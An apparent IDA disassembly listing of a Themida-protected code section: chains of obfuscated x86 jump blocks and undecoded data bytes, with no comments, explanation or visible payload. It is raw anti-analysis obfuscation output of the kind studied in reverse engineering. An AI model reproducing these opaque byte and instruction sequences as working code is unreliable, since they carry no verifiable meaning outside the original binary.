; ---------------------------------------------------------------------------


loc_58CEF1:				; CODE XREF: Themida_:0058DEDAj
		push	2FBFh
		mov	[esp], ecx
		mov	ecx, 24h
		add	ecx, edi
		push	eax
		mov	eax, 0
		add	eax, ecx
		add	[eax], edx
		pop	eax
		mov	ecx, [esp]
		push	edx
		jmp	loc_58FEF0
; ---------------------------------------------------------------------------
dword_58CF14	dd 0F8DDE9ADh			db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CF1A:				; CODE XREF: Themida_:0058BA53j
		add	esp, 4
		dec	ebp
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		sub	ebp, 384A5988h
		add	eax, ebp
		pop	ebp
		push	6A52h
		mov	[esp], ebp
		mov	ebp, 50D273Bh
		jmp	loc_58D698
; ---------------------------------------------------------------------------


loc_58CF42:				; CODE XREF: Themida_:0058FBFBj
		mov	[esp], edx
		push	1
		mov	edx, [esp]
		jmp	loc_58DED7
; ---------------------------------------------------------------------------
aI4H		db '‰4$h',0
		db 4
		dd 348B0000h, 4C48124h,	9000000h, 348B1C77h, 0E9545724h
		dd 0FFFFAF69h, 0FF8D4EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58CF75:				; CODE XREF: Themida_:005913DEj
		push	eax
		push	7C7Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_58A136
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8B000000h, 0C4832434h, 696804h, 34890000h, 7FB95124h
		dd 0BE3FBA73h, 2B70B94h, 0FFA641E9h, 1A3A68FFh,	34890000h
		dd 6F6ABE24h, 0E6C126B1h, 8E6C107h, 4C77C681h, 0C681849Fh
		dd 0FFFFFFFFh, 0E908E6C1h, 0FFFFF598h, 0EA3BC805h, 57F02938h
		dd 0EA3BC8BFh, 0A248E938h, 0C581FFFFh, 4, 4BE56h, 0F5010000h
		dd 0C92E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D006:				; CODE XREF: Themida_:0058880Ej
		push	edi
		mov	edi, ebx
		jmp	loc_58BBC8
; ---------------------------------------------------------------------------


loc_58D00E:				; CODE XREF: Themida_:0058E263j
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	5E6Ah
		mov	[esp], esi
		jmp	loc_58C746
; ---------------------------------------------------------------------------
aBQzlwlHch	db 'ÁqZ‹W‹<$hæh',0
		dw 8900h
		dd 0E6892434h, 3AEDBD55h, 814D6668h, 8A4A56CDh,	0D3C5815Dh
		dd 814C0E71h, 0E04F2EEDh, 81DDF773h, 0E76259EDh, 5DEE01A7h
		dd 4C681h, 34870000h, 0E159E924h, 34FFFFFFh, 0B55CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D072:				; CODE XREF: Themida_:0058BA26j
		sub	ecx, 99498Eh
		jmp	loc_58F78E
; ---------------------------------------------------------------------------


loc_58D07D:				; CODE XREF: Themida_:005871CEj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5914E5
; ---------------------------------------------------------------------------
byte_58D08F	db 66h			; DATA XREF: Themida_:00585A3Co
		dd 68240C8Bh, 39C4h, 54240C89h,	4C18159h, 68000000h, 2E50h
		dd 56240489h, 0BE33E668h, 1B81E971h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D0B6:				; CODE XREF: Themida_:0058BCA5j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 8B241C87h, 0CD32424h,	0F0E99C24h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D0D3:				; CODE XREF: Themida_:00589C16j
		pop	edi
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 188959CAh
		jmp	loc_58BD87
; ---------------------------------------------------------------------------
byte_58D0E7	db 0FFh			; DATA XREF: Themida_:00585AF0o
		dd 669D1C77h, 4196658h,	0CCE99C24h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D0F7:				; CODE XREF: Themida_:00587DBCj
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_58BAD7
; ---------------------------------------------------------------------------


loc_58D102:				; CODE XREF: Themida_:0058ADCAj
		sub	ebp, ebx
		jmp	loc_58EFD7
; ---------------------------------------------------------------------------


loc_58D109:				; CODE XREF: Themida_:00591A15j
		add	ebx, 4
		jmp	loc_588A64
; ---------------------------------------------------------------------------


loc_58D114:				; CODE XREF: Themida_:0058D78Ej
		push	ecx
		push	3B96952h
		pop	ecx
		not	ecx
		jmp	loc_58F3F2
; ---------------------------------------------------------------------------


loc_58D122:				; CODE XREF: Themida_:0058D1B3j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	ebp
		push	edx
		jmp	loc_58C7D3
; ---------------------------------------------------------------------------
		dd 4426F681h, 0F1311712h, 2DE9495Eh, 81FFFFF2h,	955DDEC5h
		dd 50FD2900h, 332F88B8h, 0CE75E973h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D15E:				; CODE XREF: Themida_:0058F516j
		pop	edi
		jmp	loc_590D3F
; ---------------------------------------------------------------------------
dword_58D164	dd 0E924248Bh, 0FFFF8B57h, 9CE95D54h		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D173:				; CODE XREF: Themida_:0058861Cj
		add	bl, 17h
		jmp	loc_5864E3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 66F02966h, 0E924348Bh, 1BE1h
; ---------------------------------------------------------------------------


loc_58D188:				; CODE XREF: Themida_:0058D452j
		mov	eax, ebp
		jmp	loc_587424
; ---------------------------------------------------------------------------
		db 29h
		dd 15E95FFEh, 5CFFFFB9h, 240C8B66h, 0FF99BDE9h
		db 0FFh
byte_58D1A1	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00585A28o
		dd 0D359669Dh, 0E99C2414h, 0FFFF8B13h
; ---------------------------------------------------------------------------


loc_58D1B0:				; CODE XREF: Themida_:0058C613j
		mov	[esp], esp
		jmp	loc_58D122
; ---------------------------------------------------------------------------
		dd 148BD589h, 4C48324h,	0FFB0D4E9h, 24248BFFh, 0E924048Fh
		dd 0FFFFAC6Fh
dword_58D1D0	dd 240C8B66h, 57E68956h, 0FFB931E9h, 4C281FFh, 83000000h
					; DATA XREF: Themida_:00585C44o
		dd 148704C2h, 0F3015C24h, 8324348Bh, 0C38104C4h, 49555767h
		dd 31DBF57h, 0FB01162Ch, 40C3815Fh, 15EC709h, 0D20BE9C3h
		dd 489FFFFh, 4FF16824h,	34890000h, 9443E924h, 232CFFFFh
		dd 51535A5Ah, 0EDC097B5h, 0D3ED8006h, 80A4E580h, 0DBE9C2EDh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D237:				; CODE XREF: Themida_:0058C7F2j
		add	ebp, 186D5A08h
		jmp	loc_585F91
; ---------------------------------------------------------------------------


loc_58D242:				; CODE XREF: Themida_:00585E9Cj
		inc	ecx
		shr	ecx, 2
		jmp	loc_58990D
; ---------------------------------------------------------------------------
byte_58D24B	db 0FFh			; DATA XREF: Themida_:00585B24o
		dd 669D1C77h, 24041858h, 8A69E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D25A:				; CODE XREF: Themida_:0058F00Bj
		pop	ebp
		mov	eax, edi
		pop	edi
		mov	edx, eax
		pop	eax
		push	edx
		not	dword ptr [esp]
		pop	edx
		and	edx, 563046A7h
		push	ecx
		mov	ecx, 58EF7D52h
		jmp	loc_58BFDD
; ---------------------------------------------------------------------------
byte_58D277	db 83h			; DATA XREF: Themida_:00585B14o
		dd 896602ECh, 0FF66240Ch, 66022474h, 0E9240C8Bh, 0FFAh
; ---------------------------------------------------------------------------


loc_58D28C:				; CODE XREF: Themida_:00589AF0j
		pop	esp
		sub	[esp], ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D297:				; CODE XREF: Themida_:00588570j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_58F584
; ---------------------------------------------------------------------------
		dw 0D029h
		dd 3E3F055Ah, 0D801713Fh, 3F3E3F2Dh, 17A0571h, 99052D5Eh
		dd 8B32A577h, 5455241Ch, 4BF575Dh, 1000000h, 0BA525FFDh
		dd 4, 2FE9D501h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D2D7:				; CODE XREF: Themida_:00588657j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5913C3
; ---------------------------------------------------------------------------
		dw 481h
		dd 0C7271B24h, 0BD0FE96Eh, 5B66FFFFh, 0FFB5EEE9h, 243433FFh
		dd 33243431h, 248B2434h, 48B6624h, 0EFEEE924h, 0BD2DFFFFh
		dd 530D0056h, 0FFAEF9E9h, 0E1C141FFh, 2D47E903h
		db 2 dup(0)
word_58D31E	dw 8B66h		; DATA XREF: Themida_:00585B74o
		dd 86E9240Ch, 0FFFFCCh,	0D16CE9C3h, 48BFFFFh, 2FBBE924h
		dd 88510000h, 874C88D1h, 240C8B01h, 1FD5E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D345:				; CODE XREF: Themida_:00587184j
		mov	[esp], eax
		mov	eax, 6F2D0983h
		jmp	loc_58BA3A
; ---------------------------------------------------------------------------


loc_58D352:				; CODE XREF: Themida_:0058B6CCj
		pop	ebp
		pop	edi
		add	esi, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_591653
; ---------------------------------------------------------------------------
		dd 6624248Bh, 0E99CC885h, 0FFFF8943h
; ---------------------------------------------------------------------------


loc_58D380:				; CODE XREF: Themida_:005894D7j
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		jmp	loc_58DAD3
; ---------------------------------------------------------------------------


loc_58D38D:				; CODE XREF: Themida_:0058B7AFj
		dec	ebp
		push	edi
		jmp	loc_58C9B2
; ---------------------------------------------------------------------------
		dd 685AD001h, 7B70h, 0E9243489h, 159Fh
dword_58D3A4	dd 0E92434FFh, 0FFFFE627h, 5BC6E981h, 0C1815F1Ch, 1B0C44CCh
					; DATA XREF: Themida_:00585AB8o
		dd 453EC181h, 0CA21C894h, 78F28159h, 0E9284E01h, 0FFFFFED6h
		dd 4C481h, 0BF570000h, 1E153AB2h, 61FFCF81h, 57522939h
		dd 7363BA52h, 0D7897080h, 0CAD4BA5Ah, 0FA01ED5Eh, 33EDE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D3F6:				; CODE XREF: Themida_:0058DE02j
		mov	[esp], eax
		jmp	loc_58A51A
; ---------------------------------------------------------------------------
word_58D3FE	dw 8B66h		; DATA XREF: Themida_:00585AE8o
		dd 89512404h, 4C181E1h,	57000000h, 2B72E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D411:				; CODE XREF: Themida_:0058BEB8j
		xchg	ebp, [esp]
		pop	ecx
		inc	ecx
		push	eax
		mov	eax, 76827E56h
		xor	eax, 361A3B57h
		and	ecx, eax
		pop	eax
		jmp	loc_589C1B
; ---------------------------------------------------------------------------


loc_58D429:				; CODE XREF: Themida_:0058A131j
		mov	[esp], ebp
		jmp	loc_58794E
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 4, 46857h, 0C2E90000h, 8100003Fh, 4ECh, 242C8900h, 0FFC9B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D451:				; CODE XREF: Themida_:0058A67Dj
		pop	esp
		jmp	loc_58D188
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0A1D6E900h, 5658FFFFh,	0F707E2BEh, 81D6F745h
		dd 1EEh, 0E8C68100h, 0E945F707h, 43C0h,	2BE9F029h, 83FFFFAAh
		dd 3C8904ECh, 74B85024h, 0C12F7753h, 0F8E903E0h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D497:				; CODE XREF: Themida_:00590EF3j
		mov	ecx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_58B4D5
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 0C1D78700h,	814702E7h, 0C28BD9C7h
		dd 1AC58197h, 10CA816h,	1AED81FDh, 5F0CA816h, 43FF68h
		dd 242C8900h, 42474FFh,	24048F5Dh, 1350E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D4DD:				; CODE XREF: Themida_:00587903j
		mov	ebp, esp
		jmp	loc_5912EA
; ---------------------------------------------------------------------------
		dd 5C243C87h, 89240489h, 405E0h, 89510000h, 4C181E1h, 0E9000000h
		dd 0FFFFD125h, 0C781E789h, 4, 8704EF83h, 7BE9243Ch, 0B6FFFFE2h
		dd 28212CF0h, 662104F0h, 0DB68E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D522:				; CODE XREF: Themida_:00589CCBj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58FBD6
; ---------------------------------------------------------------------------


loc_58D52D:				; CODE XREF: Themida_:0058F999j
		mov	ebx, 121D0A9Dh
		push	eax
		push	esi
		mov	esi, 7A319CFh
		jmp	loc_586152
; ---------------------------------------------------------------------------
		dw 0C300h
aAiofqH		db '€ëŽfQ±³hÍ/',0
		align 4
		dd 0E9240489h, 0FFFFD3F8h, 0EE390DB8h, 68490D47h, 6D050E54h
		dd 0E9207400h, 2155h, 0A59EE953h, 0E95BFFFFh, 3C16h, 4C481h
		dd 0C870000h, 0D3665C24h, 0E99C243Ch, 0FFFF873Bh, 3C8BFB29h
		dd 4C48124h, 68000000h,	3AE9h, 89240C89h, 4C181E1h, 83000000h
		dd 386804E9h, 89000014h, 74FF240Ch, 34FF0424h, 0E9555924h
		dd 0FFFFE257h, 4C481h, 332C0000h, 0FFD87AE9h, 1EBB68FFh
		dd 24890000h, 24048324h, 24048F04h, 4240483h, 0FFE9D6E9h
		dd 0F7DFF7FFh, 0F2E781D7h, 8176E962h, 6731D4CFh, 7CC78135h
		dd 296E81C2h, 0D0315FFAh, 8BC1895Ah, 89522404h,	4C281E2h
		dd 83000000h, 0FF5204C2h, 0E9042474h, 0FFFFBE53h, 1B951h
		dd 0ED810000h, 1DB6724h, 0C581CD29h, 1DB6724h, 83240C8Bh
		dd 0EC8104C4h, 4, 0FFA1E0E9h, 3FE981FFh, 5A38236Bh, 218C62Dh
		dd 85E2D7Eh, 0C82979C7h, 0FFD0F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D655:				; CODE XREF: Themida_:0058B983j
		push	4243h
		mov	[esp], ebx
		jmp	loc_587A9E
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 15782C5h, 0EA015F0Eh, 0FFF07DE9h
		db 0FFh
aMIhw		db '¬,›hW;',0           ; DATA XREF: Themida_:00585C20o
		dd 241C8900h, 0C7FE2BB7h, 0C780DFF6h, 984EE956h, 8068FFFFh
		dd 8900005Fh, 0E9502414h, 0FFFFCB58h
; ---------------------------------------------------------------------------


loc_58D698:				; CODE XREF: Themida_:0058CF3Dj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58674C
; ---------------------------------------------------------------------------
		dw 0F301h
		dd 0F3B5E95Eh, 8166FFFFh, 832B98C5h, 8EE904ECh,	0B3000013h
		dd 2FC38092h, 0AFE9DC28h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D6C7:				; CODE XREF: Themida_:0058BCD6j
		add	edx, edi
		pop	edi
		push	edi
		push	eax
		mov	eax, 1CCE6FAEh
		jmp	loc_58BF95
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4C6312B4h, 1068EB01h, 0E9000049h, 184Fh
; ---------------------------------------------------------------------------


loc_58D6E8:				; CODE XREF: Themida_:005865E9j
		add	ecx, edi
		sub	ecx, 6AF97FBCh
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5862AC
; ---------------------------------------------------------------------------
		db 5Eh,	0C1h, 0E0h
		dd 76242505h, 0E8C17C2Ch, 0EE320506h, 97E9FE5Fh
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D717:				; CODE XREF: Themida_:0058EFD2j
		push	edx
		mov	edx, 76700B35h
		and	edx, 18E834B7h
		inc	edx
		or	edx, 7C000965h
		or	edx, 88B779Ah
		xor	edx, 60B87532h
		xor	edi, edx
		pop	edx
		jmp	loc_5901FB
; ---------------------------------------------------------------------------
word_58D73E	dw 77FFh		; DATA XREF: Themida_:00585A90o
		dd 58669D1Ch, 9C240410h, 0FF96F3E9h, 240489FFh,	4081B850h
		dd 44295ECFh, 0E9580424h, 4F6h
; ---------------------------------------------------------------------------


loc_58D760:				; CODE XREF: Themida_:00587138j
		sub	ebp, ebx
		add	ebp, 3C387017h
		pop	ebx
		add	ebx, ebp
		pop	ebp
		jmp	loc_58FE06
; ---------------------------------------------------------------------------
		db 1, 0FDh, 5Fh
		dd 2BE56h, 0F5010000h, 242C875Eh, 0D224248Bh, 0E99C2404h
		dd 0FFFFE09Eh
; ---------------------------------------------------------------------------


loc_58D78C:				; CODE XREF: Themida_:0058DCE8j
		pop	esi
		push	edi
		jmp	loc_58D114
; ---------------------------------------------------------------------------
		db 0B3h
		dd 39EB80B5h, 3096EB80h, 87E95BDEh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D7A3:				; CODE XREF: Themida_:0058AE34j
		xor	ebx, ecx
		pop	ecx
		sub	edx, ebx
		pop	ebx
		add	edx, eax
		jmp	loc_58F69E
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0BF5704C4h, 7957448Fh, 0D30E9h, 93EF8100h
		dd 0E9F173BFh, 0FFFFD090h, 0E958E788h, 0FFFFEE2Dh, 66F03166h
		dd 4481665Eh, 738D0224h, 24440166h, 6C816602h, 738D0224h
		dd 0D0E95866h, 52FFFF84h, 0A75C1FBAh, 1DEA815Ah, 810CBF44h
		dd 0E81800EAh, 5AD0014Dh, 0E9240433h, 0FFFFF168h
; ---------------------------------------------------------------------------


loc_58D810:				; CODE XREF: Themida_:0058F35Cj
		mov	ebx, 0E8EF7B55h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_588C72
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_587D9C
; ---------------------------------------------------------------------------
		dd 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 4
		push	444Ah
		jmp	loc_58CB73
; ---------------------------------------------------------------------------
		dw 8352h
		dd 0FEE904ECh, 1FFFFACh, 8104245Ch, 9004246Ch, 8B09D05Dh
		dd 0C483241Ch, 241C8B04h, 4C481h, 0E4E90000h, 5FFFFC4h
		dd 217A5E6Ch, 6C2DF829h, 5217A5Eh, 799F01F8h, 4EC8353h
		dd 0BA241489h, 6A2F4939h, 0A5BE22BBh, 5AD30197h, 0F381E3D1h
		dd 66E2104Dh, 5F5BD829h, 3869C381h, 0C329153Eh,	709968h
		dd 9B00E900h, 5350FFFFh, 0FFA994E9h, 4C483FFh, 0A337E953h
		dd 1FB8FFFFh, 0E9E7E5B0h, 0FFFFBE62h
dword_58D8F4	dd 24048B66h, 12A568h, 241C8900h, 0FFD097E9h, 83B9E9FFh
					; DATA XREF: Themida_:00585C5Co
		dd 0D801FFFFh, 7C36BE2Dh, 402CE955h, 0C890000h,	0A337B924h
		dd 0CA313AD0h, 53BE5659h, 81426B42h, 6D5933C2h,	0E9F2295Fh
		dd 0F96h, 30B368h, 241C8900h, 468h, 0E9815B00h,	446A22CCh
		dd 5356D901h, 0A64A63BBh, 0C11CE93Bh, 5B5EFFFFh, 3302C183h
		dd 0C31240Ch, 240C3324h, 6624248Bh, 2404BB0Fh, 38E6E99Ch
		dd 0C6810000h, 13ED6C2Eh, 0EE81C601h, 13ED6C2Eh, 3217C681h
		dd 0C4E93054h, 50000009h, 0FF94C7E9h, 240C89FFh, 0E8E95954h
		dd 5DFFFFFAh, 8704C683h, 0B3E92434h, 0BA000013h, 6B4F5892h
		dd 17CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_58D9B1:				; CODE XREF: Themida_:0058EC8Cj
		mov	esi, 1C6235D6h
		jmp	loc_58CC5B
; ---------------------------------------------------------------------------


loc_58D9BB:				; CODE XREF: Themida_:0058A1EBj
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_58CB3C
; ---------------------------------------------------------------------------
aPssw		db 'PSéw#',0
		align 2
		dw 0E189h
		dd 0FF8E4CE9h, 243489FFh, 0B850E689h, 7D9A1661h, 91D1F791h
		dd 2719E948h
		db 2 dup(0)
word_58D9FA	dw 8B66h		; DATA XREF: Themida_:00585BF0o
		dd 9E682404h, 8900000Fh, 0E6892434h, 4C681h, 0BB530000h
		dd 450E1399h, 4EC8356h,	0BA241489h, 65B71320h, 0B8E9DAF7h
		dd 8B000004h, 0ADE92404h, 89FFFFB2h, 2C812404h,	146A4724h
		dd 2434FF3Ch, 4C4815Ah,	83000000h, 1C8904ECh, 768FBB24h
		dd 81437B0Ch, 3F653ACBh, 17E38109h, 81668E53h, 61735C3h
		dd 7BD55DAh, 2967DF60h,	0BEE95DEAh, 81FFFFB4h, 0D1611AC1h
		dd 0DE98132h, 136D04Ch,	0BC3AE9C1h, 0C729FFFFh,	4BBE9h
		db 0
; ---------------------------------------------------------------------------


loc_58DA89:				; CODE XREF: Themida_:0058E158j
		push	esi
		jmp	loc_588962
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 8B243487h, 5AE92424h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58DAA3:				; CODE XREF: Themida_:0058EDD6j
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_58E855
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 0Bh
		dd 87000012h, 805C240Ch, 64E981EBh, 81FFFFF8h, 0E21FA4C6h
		dd 34875D3Fh, 5CE95C24h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DAD3:				; CODE XREF: Themida_:0058D388j
		pop	ebx
		jmp	loc_58F70C
; ---------------------------------------------------------------------------
		db 1, 0D6h, 0E9h
		dd 0FFFF9817h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FFB510E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DAF5:				; CODE XREF: Themida_:005862CDj
		mov	ebx, edx
		jmp	loc_5918F8
; ---------------------------------------------------------------------------
dword_58DAFC	dd 38B850h, 0E9530000h,	0FFFFA2DDh; ---------------------------------------------------------------------------


loc_58DB08:				; CODE XREF: Themida_:005882CDj
		mov	ebx, 2295302Dh
		inc	ebx
		push	esi
		mov	esi, 0
		sub	esi, ebx
		jmp	loc_58FD07
; ---------------------------------------------------------------------------
		db 1
		dd 55515DE8h, 25625BDh,	45D5F779h, 0C42EF581h, 8956E754h
		dd 8BF189EEh, 0E9532434h, 0FFFFE69Bh, 4244C01h,	4244481h
		dd 6A0C491Fh, 0FFA4C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DB4D:				; CODE XREF: Themida_:0058EDF0j
		xor	al, ch
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	2B7Ch
		jmp	loc_58B303
; ---------------------------------------------------------------------------


loc_58DB68:				; CODE XREF: Themida_:00590CE5j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5874C0
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832414h, 0D785E904h, 0E7D1FFFFh, 0F781DFF7h
		dd 73F42055h, 0FFFC2CE9h, 48B5AFFh, 4C48324h, 405h, 2BF5700h
		dd 5000000h, 2C813B4Ah,	4A2DF801h, 5F2C813Bh, 0E9240487h
		dd 0FFFF95DBh, 0B97AF3BAh, 4EAC13Eh, 0B3BE281h,	0DAF76F5Ah
		dd 4AFFEA83h, 6641B951h, 0D9F71578h, 4030E981h,	0C1497812h
		dd 0E98107E1h, 463332DEh, 0AF9DF181h, 0CA290ECBh, 5AD73159h
		dd 34FFF829h, 0A9E7E924h, 0D104FFFFh, 0FFF6E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DC05:				; CODE XREF: Themida_:00586BA8j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_588707
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 0D0h
		dd 0FFE388E9h, 240487FFh, 80A1E95Ch
		db 2 dup(0FFh)
word_58DC22	dw 8B66h		; DATA XREF: Themida_:00585AE4o
		dd 0BA682404h, 8900001Eh, 0E9542414h, 1A70h, 694E7DB8h
		dd 58C50107h, 0F9E9DDF7h, 0B1FFFFE5h, 66CB2852h, 0EEE2E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DC4E:				; CODE XREF: Themida_:0058DFD6j
		mov	[esp], ecx
		jmp	loc_587719
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C4815Ah,	68000000h, 329Eh, 89243489h, 9139E9E6h
		dd 0C89FFFFh, 5093B924h, 6CE935A4h, 89FFFF8Eh, 0C9E95DE8h
		dd 0B100001Bh, 66C80005h, 2CD80059h, 0E9222C05h, 9B5h
		dd 5C242C87h, 0FFA9FAE9h, 242C89FFh, 0CB55D8BDh, 0E9D5316Dh
		dd 0FFFF9B00h, 3C8B5457h, 4C48324h, 8904EC83h, 0B951242Ch
		dd 489B0434h, 5641D1F7h, 79207EBEh, 4ED6F76Ah, 0FF8D14E9h
		dd 44E958FFh
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DCDB:				; CODE XREF: Themida_:0058CC07j
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_58B4AA
; ---------------------------------------------------------------------------


loc_58DCE6:				; CODE XREF: Themida_:00590721j
		mov	ecx, esi
		jmp	loc_58D78C
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FFFF7DE9h, 243433FFh, 1E8FE9h, 81D5F600h, 2ECh, 14896600h
		dd 7CB224h, 2C5A66D5h, 4E828E0h, 525B59E0h, 8BE9h, 18AE6800h
		dd 0AEE90311h, 89FFFFD4h, 0C68159CDh, 77BA4BCCh, 3A26E9h
		dd 81DDF700h, 58B721EDh, 0E9EB299Ah, 29A2h
; ---------------------------------------------------------------------------


loc_58DD44:				; CODE XREF: Themida_:0058A620j
		push	edx
		mov	dl, 7Fh
		not	dl
		shr	dl, 6
		jmp	loc_58C915
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 6Ch
		dd 0B8FFFF7Fh, 180B5F86h, 0E8D1D8F7h, 42255135h, 0CA8FE946h
		dd 1489FFFFh, 565A5424h, 4BEh, 8BF20100h, 89532434h, 4C381E3h
		dd 50000000h, 4B8h, 58C30100h, 5C241C87h, 1322E9h, 287BB500h
		dd 0E95966EBh, 0C75h
dword_58DDA0	dd 0E9D831ADh, 0FFFF99D4h, 0F68023B6h, 0E9F300B0h, 3929h
					; DATA XREF: Themida_:00585AF4o
		dd 9675D4BAh, 1AE95748h, 58000008h, 0C6E9C300h,	0B1FFFF89h
		dd 80D9F63Ch, 0EA8089F1h, 80CA005Ah, 0C8B5AC2h,	4C48124h
		dd 80000000h, 0F2807DCAh, 0B55166BEh, 0E9EA309Bh, 0FFFFEFB4h
		dd 0FEB9F581h, 20E95B15h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DDFB:				; CODE XREF: Themida_:00586861j
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58D3F6
; ---------------------------------------------------------------------------
		db 0BDh
		dd 24304576h, 0FFE6ECE9h, 296658FFh, 68665DE8h,	89661087h
		dd 68662434h, 8B662F33h, 18E92434h, 89FFFFF6h, 56E9242Ch
		dd 8FFFFFBEh, 81E92404h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DE3B:				; CODE XREF: Themida_:0058A302j
		pop	ebx
		sub	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_589CB1
; ---------------------------------------------------------------------------
		dw 0C80Fh
		dd 348B5456h, 4C48124h,	51000000h, 2D37E9h, 24348900h
		dd 0FFD0EDE9h, 0CDEA81FFh, 1491601h, 0CDC281CAh, 59491601h
		dd 8B5AD001h, 0C4832434h, 446E6804h, 7DE90000h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DE83:				; CODE XREF: Themida_:00585DC2j
		add	ecx, 22C90382h
		push	ecx
		xchg	ebp, [esp]
		jmp	loc_58BEB6
; ---------------------------------------------------------------------------
		dw 0DF01h
		dd 4C7835Bh, 5C243C87h,	2B951h,	42E90000h, 31FFFF99h, 849EE9E8h
		dd 0F001FFFFh, 5886685Eh, 0C890000h, 31B3B924h,	0D9F71B08h
		dd 0C104E1C1h, 0E98103E1h, 59B96C8Eh, 7D3FBF57h, 30E938D4h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


